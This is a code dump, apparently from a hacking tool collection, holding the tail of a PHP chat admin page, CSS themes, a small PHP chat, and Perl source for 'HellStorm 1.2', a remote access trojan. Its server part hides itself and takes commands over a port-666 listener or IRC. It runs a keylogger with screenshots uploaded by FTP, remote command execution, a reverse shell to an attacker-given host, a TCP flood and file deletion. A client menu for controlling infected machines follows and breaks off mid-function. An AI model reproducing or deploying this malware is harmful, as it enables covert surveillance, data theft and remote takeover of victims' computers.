                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td><a href=?del_word=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
                }
                
                echo "</table>";
                
            }
            
            echo '
            <br>
            </div>
         </div>
         ';
            
        } else {
            
            echo '
            <div class="post">
                <h3>Installer</h3>
                   <div class="post_body">';
            
            echo "
<form action='' method=POST>
<h2>Do you want install DH Chat 0.5 ?</h2><br>
<input type=submit name=instalar style='width: 100px;' value=Install>
</form><br>";
            echo '                </div>
            </div>';
        }
        
        echo '  
   <br><h3>(C) Doddy Hackman 2015</h3><br>
   </center>
   </body>
</html>';
        
        mysql_close();
        exit(1);
        
    } else {
        echo "<script>alert('Fuck You');</script>";
    }
    
} else {
    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
}

// The End ?

?>

/*

==-----------------------------------==
|| Name : DH Theme                   ||
|| Version : 0.8                     ||  
|| Author : Doddy H                  ||
|| Description: Templante            ||
|| Date : 14/1/2015                  ||
==-----------------------------------==

*/

body {
	background:transparent url("images/fondo.jpg") repeat scroll 0 0;
	color:gray;
	font-family:helvetica,arial,sans-serif;
	font-size:14px;
	text-align:center;
}

a:link {
	text-decoration:none;
	color:orange;
}
a:visited {
	color:orange;
}
a:hover {
	color:orange;
}

td,tr {
	border-style:solid;
	border-color: gray;
	border-width: 1px;
	background: black;
	border: solid #222 2px;
	color:gray;
	font-family:helvetica,arial,sans-serif;
	font-size:14px;
	text-align:center;
	
	word-wrap: break-word;
	word-break:break-all; 
}

input {
	border-style:solid;
	border-color: gray;
	border-width: 1px;
	background: black;
	border: solid #222 2px;
	color:gray;
	font-family:helvetica,arial,sans-serif;
	font-size:14px;
}

.post {
	background-color:black;
	color:gray;
	margin-bottom:10px;
	width:600px;
	word-wrap: break-word;
}

.post h3 {
	background-color:black;
	color:orange;
	background-color:#000;
	border: solid #222 2px;
	-webkit-border-radius: 4px;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding:5px 10px;
}

.post_body {
	background-color:black;
	margin:-20px 0 0 0;
	color:white;
	background-color:#000;
	border: solid #222 2px;
	-webkit-border-radius: 4px;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding:5px 10px;
}

/* The End ? */

<?php

//DH Chat 0.5
//(C) Doddy Hackman 2015

// DB

$host = "localhost"; // Edit
$user = "root"; // Edit
$pass = ""; // Edit
$db   = "chat"; // Edit

//

error_reporting(0);

mysql_connect($host, $user, $pass);
mysql_select_db($db);

echo '<link href="chat.css" rel="stylesheet" type="text/css" />';

echo "<table border=0 width='210' style='table-layout: fixed'>";
echo "<td><b>DH Chat 0.5</b></td><tr>";


$sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
    $total = $d;
}

$test = $total - 10;

if ($test <= 0) {
    next;
} else {
    $resto = $test;
    
    for ($i = 1; $i <= $resto; $i++) {
        @mysql_query("DELETE FROM mensajes where id_comentario='$i'");
    }
}

$re = @mysql_query("select * from mensajes order by id_comentario DESC");

while ($ver = @mysql_fetch_array($re)) {
    echo "<td><b>" . htmlentities($ver[2]) . "</b> : " . htmlentities($ver[1]) . "</td><tr>";
}


echo "<br><br><td><br><b>Comment</b><br><br>    
<form action='' method=POST>
Nick : <input type=text name=apodo size=20><br><br>
Text : <input type=text name=msg size=20><br><br>
<input type=submit name=chatentro style='width: 100px;' value=Send>
</form>
<tr>
<td><b>Coded By Doddy H</b></td><tr>
</table>";


if (isset($_POST['chatentro'])) {
    
    $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
    
    $s = mysql_fetch_row($sumo);
    
    foreach ($s as $d) {
        $x_id = $d + 1;
    }
    
    $apodo   = htmlentities(addslashes($_POST['apodo']));
    $mensaje = htmlentities(addslashes($_POST['msg']));
    
    $apodo   = substr($apodo, 0, 70);
    $mensaje = substr($mensaje, 0, 70);
    
    $rex = mysql_query("select mensaje from insultos");
    
    while ($con = mysql_fetch_array($rex)) {
        $mensaje = str_replace($con[0], "#$!*", $mensaje);
        $apodo   = str_replace($con[0], "#$!*", $apodo);
    }
    
    if (is_numeric($x_id)) {
        @mysql_query("INSERT INTO mensajes(id_comentario,apodo,mensaje)values('$x_id','$apodo','$mensaje')");
    }
    
    echo '<meta http-equiv="refresh" content=0;URL=>';
    
}

mysql_close();

// The End ? 

?>

/*

==-----------------------------------==
|| Name : DH Theme                   ||
|| Version : 0.8                     ||  
|| Author : Doddy H                  ||
|| Description: Templante            ||
|| Date : 14/1/2015                  ||
==-----------------------------------==

*/

body {
	color:gray;
	font-family:helvetica,arial,sans-serif;
	font-size:14px;
	text-align:center;
}

a:link {
	text-decoration:none;
	color:orange;
}
a:visited {
	color:orange;
}
a:hover {
	color:orange;
}

td,tr {
	border-style:solid;
	border-color: gray;
	border-width: 1px;
	background: black;
	border: solid #222 2px;
	color:gray;
	font-family:helvetica,arial,sans-serif;
	font-size:14px;
	text-align:center;
	
	word-wrap: break-word;
	word-break:break-all; 
}

input {
	border-style:solid;
	border-color: gray;
	border-width: 1px;
	background: black;
	border: solid #222 2px;
	color:gray;
	font-family:helvetica,arial,sans-serif;
	font-size:14px;
}

.post {
	background-color:black;
	color:gray;
	margin-bottom:10px;
	width:600px;
	word-wrap: break-word;
}

.post h3 {
	background-color:black;
	color:orange;
	background-color:#000;
	border: solid #222 2px;
	-webkit-border-radius: 4px;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding:5px 10px;
}

.post_body {
	background-color:black;
	margin:-20px 0 0 0;
	color:white;
	background-color:#000;
	border: solid #222 2px;
	-webkit-border-radius: 4px;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding:5px 10px;
}

/* The End ? */

<body background="test.jpg">

<?php

include("chat.php");

?>

#!usr/bin/perl
#Project HellStorm 1.2
#(C) Doddy Hackman 2015
#Necessary modules
#
#ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
#
#Use "perl2exe -gui server.pl" to hide console
#

use Win32::OLE;
use Win32::OLE qw(in);
use Win32::Process;
use Win32;
use Win32::API;
use Win32::GuiTest
  qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
use Win32::Clipboard;
use threads;
use Net::FTP;
use Win32::File;
use Cwd;
use IO::Socket;
use Win32::Job;
use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

# FTP Configuration

my $host_ftp = "localhost";    # Edit
my $user_ftp = "doddy";        # Edit
my $pass_ftp = "123";          # Edit

# IRC Configuration

my $host_irc  = "localhost";    # Edit
my $canal_irc = "#locos";       # Edit
my $port_irc  = "6667";         # Edit
my $nick_irc  = dameip();       # Edit

# Threads

# You must comment on the thread that you will not use

my $comando4 = threads->new( \&conexion_directa );

#my $comando5 = threads->new( \&keylogger );
#my $comando6 = threads->new(\&ircnow);

$comando4->join();

#$comando5->join();

#$comando6->join();

#

sub ircnow {

    my $soquete = new IO::Socket::INET(
        PeerAddr => $host_irc,
        PeerPort => $port_irc,
        Proto    => "tcp"
    );

    print $soquete "NICK $nick_irc\r\n";
    print $soquete "USER $nick_irc 1 1 1 1\r\n";
    print $soquete "JOIN $canal_irc\r\n";

    while ( my $logar = <$soquete> ) {
        print "\r\n";
        chomp($logar);

        if ( $logar =~ /^PING(.*)$/i ) {
            print $soquete "PONG $1\r\n";
        }

        if ( $logar =~ /:$nick_irc help/g ) {

            my @commands = (
                "msgbox <>",            "getinfo",
                "cmd <>",               "dir",
                "cd <>",                "del <>",
                "rename :<>:<>:",       "cwd",
                "verlogs",              "word :<>:",
                "crazymouse",           "cambiarfondo :<>:",
                "opencd",               "closedcd",
                "dosattack :<>:<>:<>:", "speak :<>:",
                "iniciochau",           "iniciovuelve",
                "iconochau",            "iconovuelve",
                "backshell :<>:<>:",    "procesos",
                "cerrarproceso  :<>:<>:"
            );

            print $soquete
              "PRIVMSG $canal_irc : HellStorm (C) 2011 Doddy Hackman\r\n";
            print $soquete "PRIVMSG $canal_irc : Commands : \r\n";
            for (@commands) {
                print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc msgbox (.*)/g ) {
            my $msg = $1;
            chomp $msg;
            cheats( "mensaje", $msg );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc getinfo/g ) {
            my $re = getinfo();
            if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
                print $soquete "PRIVMSG $canal_irc : [+] Domain : $1\r\n";
                print $soquete "PRIVMSG $canal_irc : [+] Chip : $2\r\n";
                print $soquete "PRIVMSG $canal_irc : [+] Version : $3\r\n";
                print $soquete "PRIVMSG $canal_irc : [+] Username : $4\r\n";
                print $soquete "PRIVMSG $canal_irc : [+] OS : $5\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc cmd (.*)/ ) {
            my $cmda = $1;
            chomp $cmda;
            my @re = cmd($cmda);
            for (@re) {
                print $soquete "PRIVMSG $canal_irc : $_\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc dir/ ) {
            my @files = navegador("listar");
            for (@files) {
                if ( -f $_ ) {
                    print $soquete "PRIVMSG $canal_irc : [File] : " . $_
                      . "\r\n";
                }
                else {
                    print $soquete "PRIVMSG $canal_irc : [Directory] : " . $_
                      . "\r\n";
                }
            }
        }

        if ( $logar =~ /:$nick_irc cd (.*)/ ) {
            my $di = $1;
            chomp $di;
            if ( navegador( "cd", $di ) ) {
                print $soquete "PRIVMSG $canal_irc : [+] Directory Changed\r\n";
            }
            else {
                print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc del (.*)/ ) {
            my $file = $1;
            chomp $file;
            if ( navegador( "borrar", $1 ) ) {
                print $soquete "PRIVMSG $canal_irc : [+] File deleted\r\n";
            }
            else {
                print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc rename :(.*):(.*):/ ) {
            my ( $a, $b ) = ( $1, $2 );
            if ( navegador( "rename", $a, $b ) ) {
                print $soquete "PRIVMSG $canal_irc : [+] Changed\r\n";
            }
            else {
                print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc cwd/ ) {
            print $soquete "PRIVMSG $canal_irc : [+] Directory : "
              . getcwd() . "\r\n";
        }

        if ( $logar =~ /:$nick_irc verlogs/ ) {
            print $soquete "PRIVMSG $canal_irc : [+] Logs\r\n";
            my @word = openfilex("logs.txt");
            for (@word) {
                sleep 3;
                print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc word :(.*):/ig ) {
            my $msg = $1;
            cheats( "word", $msg );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc crazymouse/ig ) {
            cheats("crazymouse");
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc cambiarfondo :(.*):/ig ) {
            my $url = $1;
            chomp $url;
            cheats( "cambiarfondo", $url );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc opencd/ig ) {
            cheats( "cd", "1" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc closedcd/ig ) {
            cheats( "cd", "0" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /dosattack :(.*):(.*):(.*):/ ) {
            my ( $i, $p, $t ) = ( $1, $2, $3 );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            dosattack( $i, $p, $t );
        }

        if ( $logar =~ /:$nick_irc speak :(.*):/ig ) {
            my $t = $1;
            chomp $t;
            cheats( "speak", $t );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc iniciochau/ ) {
            cheats( "inicio", "1" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc iniciovuelve/ ) {
            cheats( "inicio", "0" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc iconochau/ ) {
            cheats( "iconos", "1" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc iconovuelve/ ) {
            cheats( "iconos", "0" );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc backshell :(.*):(.*):/ig ) {
            backshell( $1, $2 );
            print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
        }

        if ( $logar =~ /:$nick_irc procesos/ ) {

            my %vida = adminprocess("listar");
            print $soquete "PRIVMSG $canal_irc : [+] Process Found : "
              . int( keys %vida ) . "\r\n";
            for my $data ( keys %vida ) {
                print $soquete "PRIVMSG $canal_irc : [+] Process : "
                  . $data
                  . " [+] PID : "
                  . $vida{$data} . "\r\n";
            }
        }

        if ( $logar =~ /:$nick_irc cerrarproceso :(.*):(.*):/ ) {
            my ( $b, $a ) = ( $1, $2 );
            if ( adminprocess( "cerrar", $a, $b ) ) {
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }
        }

    }
}

sub conexion_directa {

    my $sock = IO::Socket::INET->new(
        LocalPort => 666,
        Listen    => 10,
        Proto     => 'tcp',
        Reuse     => 1
    );

    while ( my $con = $sock->accept ) {
        $resultado = <$con>;

        if ( $resultado =~ /msgbox (.*)/ig ) {
            my $msg = $1;
            cheats( "mensaje", $msg );
        }

        if ( $resultado =~ /infor/ig ) {
            print $con getinfo();
        }

        if ( $resultado =~ /word :(.*):/ig ) {
            my $msg = $1;
            cheats( "word", $msg );
        }

        if ( $resultado =~ /crazymouse/ig ) {
            cheats("crazymouse");
        }

        if ( $resultado =~ /cambiarfondo (.*)/ig ) {
            my $url = $1;
            cheats( "cambiarfondo", $url );
        }

        if ( $resultado =~ /opencd/ig ) {
            cheats( "cd", "1" );
        }

        if ( $resultado =~ /closedcd/ig ) {
            cheats( "cd", "0" );
        }

        if ( $resultado =~ /dosattack :(.*):(.*):(.*):/ ) {
            my ( $i, $p, $t ) = ( $1, $2, $3 );
            dosattack( $i, $p, $t );
        }

        if ( $resultado =~ /speak :(.*):/ig ) {
            my $t = $1;
            cheats( "speak", $t );
        }

        if ( $resultado =~ /iniciochau/ ) {
            cheats( "inicio", "1" );
        }
        if ( $resultado =~ /iniciovuelve/ ) {
            cheats( "inicio", "0" );
        }

        if ( $resultado =~ /iconochau/ ) {
            cheats( "iconos", "1" );
        }
        if ( $resultado =~ /iconovuelve/ ) {
            cheats( "iconos", "0" );
        }

        if ( $resultado =~ /backshell :(.*):(.*):/ig ) {
            backshell( $1, $2 );
        }

        if ( $resultado =~ /comando :(.*):/ig ) {
            my $cmd = $1;
            my @re  = cmd($cmd);
            print $con @re;
        }

        if ( $resultado =~ /mostrarpro/ ) {

            my %vida = adminprocess("listar");

            for my $data ( keys %vida ) {
                print $con "PROXEC" . $data . "PROXEC\r\n";
                print $con "PIDX" . $vida{$data} . "PIDX\r\n";
            }

        }

        if ( $resultado =~ /chauproce K0BRA(.*)K0BRA(.*)K0BRA/ ) {
            my ( $b, $a ) = ( $1, $2 );
            if ( adminprocess( "cerrar", $a, $b ) ) {
                print $con "ok";
            }
        }

        if ( $resultado =~ /chdirnow K0BRA(.*)K0BRA/ ) {
            my $di = $1;
            if ( navegador( "cd", $di ) ) {
                print $con "ok";
            }
        }
        if ( $resultado =~ /borrarfile K0BRA(.*)K0BRA/ ) {
            if ( navegador( "borrar", $1 ) ) {
                print $con "ok";
            }
        }
        if ( $resultado =~ /borrardir K0BRA(.*)K0BRA/ ) {
            if ( navegador( "borrar", $1 ) ) {
                print $con "ok";
            }
        }
        if ( $resultado =~ /rename :(.*):(.*):/ ) {
            my ( $a, $b ) = ( $1, $2 );
            if ( navegador( "rename", $a, $b ) ) {
                print $con "ok";
            }
        }

        if ( $resultado =~ /getcwd/ ) {
            print $con getcwd();
        }

        if ( $resultado =~ /verlogs/ ) {
            print $con openfile("logs.txt");
        }

        if ( $resultado =~ /dirnow ACATOY(.*)ACATOY/ ) {
            my @files = navegador("listar");
            for (@files) {
                if ( -f $_ ) {
                    print $con "FILEX" . $_ . "FILEX" . "\r\n";
                }
                else {
                    print $con "DIREX" . $_ . "DIREX" . "\r\n";
                }
            }
        }
    }
}

sub keylogger {

    my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
    my $tengo = 0;

    hideit( $0, "hide" );

    my $comando1 = threads->new( \&capture_windows );
    my $comando2 = threads->new( \&capture_keys );
    my $comando3 = threads->new( \&capture_screen );

    $comando1->join();
    $comando2->join();
    $comando3->join();

    sub capture_windows {

        while (1) {

            my $win1 = GetForegroundWindow();
            my $win2 = GetForegroundWindow();

            if ( $win1 != $win2 ) {
                my $nombre = GetWindowText($win1);
                chomp($nombre);
                if ( $nombre ne "" ) {
                    savefile( "logs.txt", "\n\n[" . $nombre . "]\n\n" );
                }
            }
        }
        return 1;
    }

    sub capture_keys {

        while (1) {

            my $test1;
            my $test2;

            for my $num ( 0x30 .. 0x39 ) {

                if ( dame($num) ) {
                    savefile( "logs.txt", chr($num) );
                }
            }

            if ( dame(0x14) ) {
                $test1 = 1;
                $tengo++;
            }

            for my $num ( 0x41 .. 0x5A ) {

                if ( dame($num) ) {

                    if ( dame(0x20) ) {
                        savefile( "logs.txt", " " );
                    }

                    if ( dame(0x32) ) {
                        savefile( "logs.txt", "\n[enter]\n\n" );
                    }

                    unless ( verpar($tengo) eq 1 ) {
                        savefile( "logs.txt", chr($num) );
                    }

                    if ( dame(0x10) or dame(0xA0) or dame(0xA1) ) {
                        $test2 = 1;
                    }

                    unless ( $test1 eq 1 or $test2 eq 1 ) {
                        if ( $num >= 0x41 ) {
                            if ( $num <= 0x5A ) {
                                if ( verpar($tengo) eq 1 ) {
                                    savefile( "logs.txt", chr( $num + 32 ) );
                                }
                            }
                        }
                    }
                }
            }
        }
        return 1;
    }

    sub capture_screen {

        $numero = 0;

        while (1) {

            sleep 120;

            subirftp( "logs.txt", "logs.txt" );

            $numero++;

            SendKeys("%{PRTSCR}");

            my $a = Win32::Clipboard::GetBitmap();

            open( FOTO, ">" . $numero . ".bmp" );
            binmode(FOTO);
            print FOTO $a;
            close FOTO;

            hideit( $numero . ".bmp", "hide" );
            subirftp( $numero . ".bmp", $numero . ".bmp" );
        }
    }

    sub dame {
        return ( $come->Call(@_) & 1 );
    }

    sub savefile {

        open( SAVE, ">>" . $_[0] );
        print SAVE $_[1];
        close SAVE;

        hideit( $_[0], "hide" );

    }

    sub hideit {
        if ( $_[1] eq "show" ) {
            Win32::File::SetAttributes( $_[0], NORMAL );
        }
        elsif ( $_[1] eq "hide" ) {
            Win32::File::SetAttributes( $_[0], HIDDEN );
        }
        else {
            print "error\n";
        }
    }

    sub subirftp {

        if ( $ser = Net::FTP->new($host_ftp) ) {
            if ( $ser->login( $user_ftp, $pass_ftp ) ) {
                $ser->mkdir( getmyip() );
                $ser->binary();
                if (
                    $ser->put(
                        getcwd() . "/" . $_[0], getmyip() . "/" . $_[1]
                    )
                  )
                {
                    return true;
                }
            }
            $ser->close;
        }
    }

    sub verpar {
        return ( $_[0] % 2 == 0 ) ? "1" : "2";
    }

    sub getmyip {
        my $get = gethostbyname("");
        return inet_ntoa($get);
    }

}

sub getinfo {
    return
        ":"
      . Win32::DomainName() . ":"
      . Win32::GetChipName() . ":"
      . Win32::GetOSVersion() . ":"
      . Win32::LoginName() . ":"
      . Win32::GetOSName() . ":";
}

sub cheats {

    my $as = new Win32::API( 'user32', 'FindWindow', 'PP', 'N' );
    my $b  = new Win32::API( 'user32', 'ShowWindow', 'NN', 'N' );

    if ( $_[0] eq "cambiarfondo" ) {
        my $file = $_[1];
        my $as =
          new Win32::API( "user32", "SystemParametersInfo", [ L, L, P, L ], L );
        $as->Call( 20, 0, $file, 0 );
    }

    if ( $_[0] eq "speak" ) {
        my $texta  = $_[1];
        my $hablax = Win32::OLE->new("SAPI.SpVoice");
        $hablax->Speak( $texta, 0 );
    }

    if ( $_[0] eq "crazymouse" ) {
        for my $number ( 1 .. 666 ) {
            MouseMoveAbsPix( $number, $number );
        }
    }

    if ( $_[0] eq "word" ) {
        my $text = $_[1];
        system("start winword.exe");
        sleep 4;
        SendKeys($text);
    }

    if ( $_[0] eq "cd" ) {

        my $ventana = Win32::API->new( "winmm", "mciSendString", "PPNN", "N" );
        my $rta = ' ' x 127;
        if ( $_[1] eq "1" ) {
            $ventana->Call( 'set CDAudio door open', $rta, 127, 0 );
        }
        else {
            $ventana->Call( 'set CDAudio door closed', $rta, 127, 0 );
        }
    }

    if ( $_[0] eq "inicio" ) {

        if ( $_[1] eq "1" ) {
            $handlex = $as->Call( "Shell_TrayWnd", 0 );
            $b->Call( $handlex, 0 );
        }
        else {
            $handlex = $as->Call( "Shell_TrayWnd", 0 );
            $b->Call( $handlex, 1 );
        }

    }

    if ( $_[0] eq "iconos" ) {

        if ( $_[1] eq "1" ) {

            $handle = $as->Call( 0, "Program Manager" );
            $b->Call( $handle, 0 );
        }
        else {
            $handle = $as->Call( 0, "Program Manager" );
            $b->Call( $handle, 1 );
        }
    }

    if ( $_[0] eq "mensaje" ) {
        if ( $_[1] ne "" ) {
            my $msg = $_[1];
            chomp $msg;
            Win32::MsgBox( $msg, 0, "Mensaje de Dios" );
        }
    }
}

sub backshell {

    my ( $ip, $port ) = ( $_[0], $_[1] );

    $ip =~ s/(\s)+$//;
    $port =~ s/(\s)+$//;

    conectar( $ip, $port );
    tipo();

    sub conectar {
        socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
        connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
        open( STDIN,  ">&REVERSE" );
        open( STDOUT, ">&REVERSE" );
        open( STDERR, ">&REVERSE" );
    }

    sub tipo {
        print "\n[*] Reverse Shell Starting...\n\n";
        if ( $^O =~ /Win32/ig ) {
            infowin();
            system("cmd.exe");
        }
        else {
            infolinux();
            system("export TERM=xterm;exec sh -i");
        }
    }

    sub infowin {
        print "[+] Domain Name : " . Win32::DomainName() . "\n";
        print "[+] OS Version : " . Win32::GetOSName() . "\n";
        print "[+] Username : " . Win32::LoginName() . "\n\n\n";
    }

    sub infolinux {
        print "[+] System information\n\n";
        system("uname -a");
        print "\n\n";
    }
}

sub cmd {

    my $job = Win32::Job->new;
    $job->spawn(
        "cmd",
        qq{cmd /C $_[0]},
        {
            no_window => "true",
            stdout    => "logx.txt",
            stderr    => "logx.txt"
        }
    );
    $ok = $job->run("30");
    open( F, "logx.txt" );
    @words = <F>;
    close F;
    unlink("logx.txt");
    return @words;
}

sub adminprocess {

    if ( $_[0] eq "listar" ) {
        my %procesos;

        my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
        my $dos = $uno->ConnectServer( "", "root\\cimv2" );

        foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
            $procesos{ $pro->{Caption} } = $pro->{ProcessId};
        }
        return %procesos;
    }

    if ( $_[0] eq "cerrar" ) {

        my ( $numb, $pid ) = ( $_[1], $_[2] );

        if ( Win32::Process::KillProcess( $pid, $numb ) ) {
            return true;
        }
        else {
            return false;
        }
    }
}

sub navegador {

    my $dir = $_[1];

    chomp $dir;

    $dir =~ s/(\s)+$//;

    if ( $_[0] eq "borrar" ) {
        if ( -f $_[1] ) {
            if ( unlink( getcwd() . "/" . $_[1] ) ) {
                return true;
            }
            else {
                return false;
            }
        }
        else {
            if ( rmdir( getcwd() . "/" . $_[1] ) ) {
                return true;
            }
            else {
                return false;
            }
        }
    }
    if ( $_[0] eq "cd" ) {
        if ( chdir $dir ) {
            return true;
        }
        else {
            return false;
        }
    }
    if ( $_[0] eq "rename" ) {
        if ( rename( getcwd() . "/" . $_[1], getcwd() . "/" . $_[2] ) ) {
            return true;
        }
        else {
            return false;
        }
    }
    if ( $_[0] eq "listar" ) {
        my @archivos = coleccionar( getcwd() );
        my @all;
        for my $test (@archivos) {
            push( @all, $test );
        }
        return @all;
    }

    sub coleccionar {
        opendir DIR, $_[0];
        my @archivos = readdir DIR;
        close DIR;
        return @archivos;
    }
}

sub dosattack {
    for ( 1 .. $_[2] ) {
        IO::Socket::INET->new(
            PeerAddr => $_[0],
            PeerPort => $_[1],
            Proto    => "tcp"
        );
    }
}

sub openfile {
    my $r;
    open( FILE, $_[0] );
    @wor = <FILE>;
    close FILE;
    for (@wor) {
        $r .= $_;
    }
    return $r;
}

sub openfilex {
    my @wor;
    open( FILE, $_[0] );
    @wor = <FILE>;
    close FILE;
    return @wor;
}

sub encriptar {

    my ( $text, $op ) = @_;

    my @re;
    my @va = split( "", $text );

    my %valor = (
        "1" => "a",
        "2" => "b",
        "3" => "c",
        "4" => "d",
        "5" => "e",
        "6" => "f",
        "7" => "g",
        "8" => "h",
        "9" => "i",
        "0" => "j",
        "." => "k"
    );

    if ( $op eq "encode" ) {
        for my $letra (@va) {
            for my $data ( keys %valor ) {
                if ( $data eq $letra ) {
                    $letra =~ s/$data/$valor{$data}/g;
                    push( @re, $letra );
                }
            }
        }
    }
    if ( $op eq "decode" ) {
        for my $letra (@va) {
            for my $data ( keys %valor ) {
                if ( $valor{$data} eq $letra ) {
                    $letra =~ s/$valor{$data}/$data/g;
                    push( @re, $letra );
                }
            }
        }
    }
    return @re;
}

sub dameip {

    my @wor = encriptar( getmyip(), "encode" );

    for (@wor) {
        $resultado .= $_;
    }
    return $resultado;
}

# The End ?

#!usr/bin/perl
#Project HellStorm 1.2
#(C) Doddy Hackman 2015

use IO::Socket;
use Cwd;

&menu;

# Functions

sub clean {
    my $os = $^O;
    if ( $os =~ /Win32/ig ) {
        system("cls");
    }
    else {
        system("clear");
    }
}

sub head {

    clean();

    print "\n\n-- == HellStorm 1.2 (C) Doddy Hackman 2015 == --\n\n\n";

}

sub menu {

    &head;

    print "[+] Target : ";
    chomp( my $ip = <STDIN> );

    my $socket = new IO::Socket::INET(
        PeerAddr => $ip,
        PeerPort => 666,
        Proto    => 'tcp',
        Timeout  => 5
    );

    if ($socket) {
        $socket->close;
        &menuo($ip);
    }
    else {
        print "\n\n[-] Server not infected\n";
        <STDIN>;
        &menu;
    }

}

sub menuo {

    &head;

    print "[$_[0]] : Online\n\n";
    print q(
1 : Information
2 : Files Manager
3 : Open CD
4 : Close CD
5 : Talk
6 : Message
7 : Console
8 : Hide taskbar
9 : Show taskbar
10 : Hide Icons
11 : Show Icons
12 : Process Manager
13 : Reverse Shell
14 : DOS Attack
15 : Change Wallpaper
16 : Word Writer
17 : Move Mouse
18 : See logs keylogger
19 : Change target
20 : Exit


);
    print "[Option] : ";
    chomp( my $opcion = <STDIN> );

    if ( $opcion eq 1 ) {
        print "\n\n[+] Information\n\n";
        $re = daryrecibir( $_[0], "infor" );
        if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
            print "[+] Domain : $1\n";
            print "[+] Chip : $2\n";
            print "[+] Version : $3\n";
            print "[+] Username : $4\n";
            print "[+] OS : $5\n";
            print "\n[+] Press any key to continue\n";
            <stdin>;
        }
        &menuo( $_[0] );
    }
    elsif ( $opcion eq 2 ) {

      menu1:
        print "\n\n[+] Files Manager\n\n";
        $cwd = daryrecibir( $_[0], "getcwd" . "\r\n" );
        show( $_[0], "/" );
        &menu2;

        sub menu2 {
            print "\n\n[Options]\n\n";
            print "1 - Change directory\n";
            print "2 - Rename\n";
            print "3 - Delete File\n";
            print "4 - Delete Directory\n";
            print "5 - Return to menu\n\n";
            print "[Opcion] : ";
            chomp( my $op = <stdin> );

            if ( $op eq 1 ) {
                print "\n\n[+] Directory : ";
                chomp( my $dir = <stdin> );
                $ver = daryrecibir( $_[0], "chdirnow K0BRA" . $dir . "K0BRA" );
                if ( $ver =~ /ok/ig ) {
                    print "\n\n[+] Directory changed\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                    <stdin>;
                }
                show( $_[0], $dir );
                &menu2;
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }

            elsif ( $op eq 2 ) {
                print "\n\n[+] Name : ";
                chomp( my $old = <stdin> );
                print "\n\n[+] New name : ";
                chomp( my $new = <stdin> );
                $re = daryrecibir( $_[0], "rename :$old:$new:" );
                if ( $re =~ /ok/ ) {
                    print "\n\n[+] File renamed\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                }
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }

            elsif ( $op eq 3 ) {
                print "\n\n[+] File to delete : ";
                chomp( my $file = <stdin> );
                $re =
                  daryrecibir( $_[0], "borrarfile K0BRA" . $file . "K0BRA" );
                if ( $re =~ /ok/ ) {
                    print "\n\n[+] File deleted\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                }
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }

            elsif ( $op eq 4 ) {
                print "\n\n[+] Directory to delete : ";
                chomp( my $file = <stdin> );
                $re = daryrecibir( $_[0], "borrardir K0BRA" . $file . "K0BRA" );
                if ( $re =~ /ok/ ) {
                    print "\n\n[+] Directory deleted\n\n";
                }
                else {
                    print "\n\n[-] Error\n\n";
                }
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }

            elsif ( $op eq 5 ) {
                &menuo( $_[0] );

            }
            else {
